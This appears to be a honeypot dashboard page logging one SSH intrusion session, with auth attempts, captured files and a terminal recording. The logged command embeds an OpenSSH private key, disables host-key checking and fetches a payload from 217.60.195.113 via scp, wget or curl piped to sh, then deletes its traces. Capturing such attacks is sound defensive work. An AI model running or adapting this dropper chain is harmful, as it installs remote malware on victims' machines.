Session `bac03204...`

Back to sessions

130.12.180.51

Connected

2026-07-20 12:20:27

Disconnected

session ended

Commands

Auth

Auth Attempts

#	Username	Method	Result
1	admin	none	DENY
2	admin	password	ACCEPT

Commands

Time	Command	Exit
2026-07-20 12:20:30	uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp \|\| cd /var/tmp \|\| cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9 Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU= -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh \|\| curl -sk https://217.60.195.113/sh) \| sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh	0

Captured Files

Path	Method	Hash	Size	VirusTotal
`/tmp/key.ppk`	created	`43728fbf...`	399	clean 0/74
`/tmp/sshcfg`	created	`00b6f15c...`	54	clean 0/74

Terminal Recording

root@app-01:~# uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ
0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg
AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9
Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=
-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh
Linux app-01 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec  5 13:09:44 UTC 2024 x86_64 GNU/Linux
-e \x61\x75\x74\x68\x5F\x6F\x6B\x0A
-bash: scp: command not found

Download raw asciicast — play with asciinema play file.cast

Session bac03204...

Auth Attempts

Commands

Captured Files

Terminal Recording

Session `bac03204...`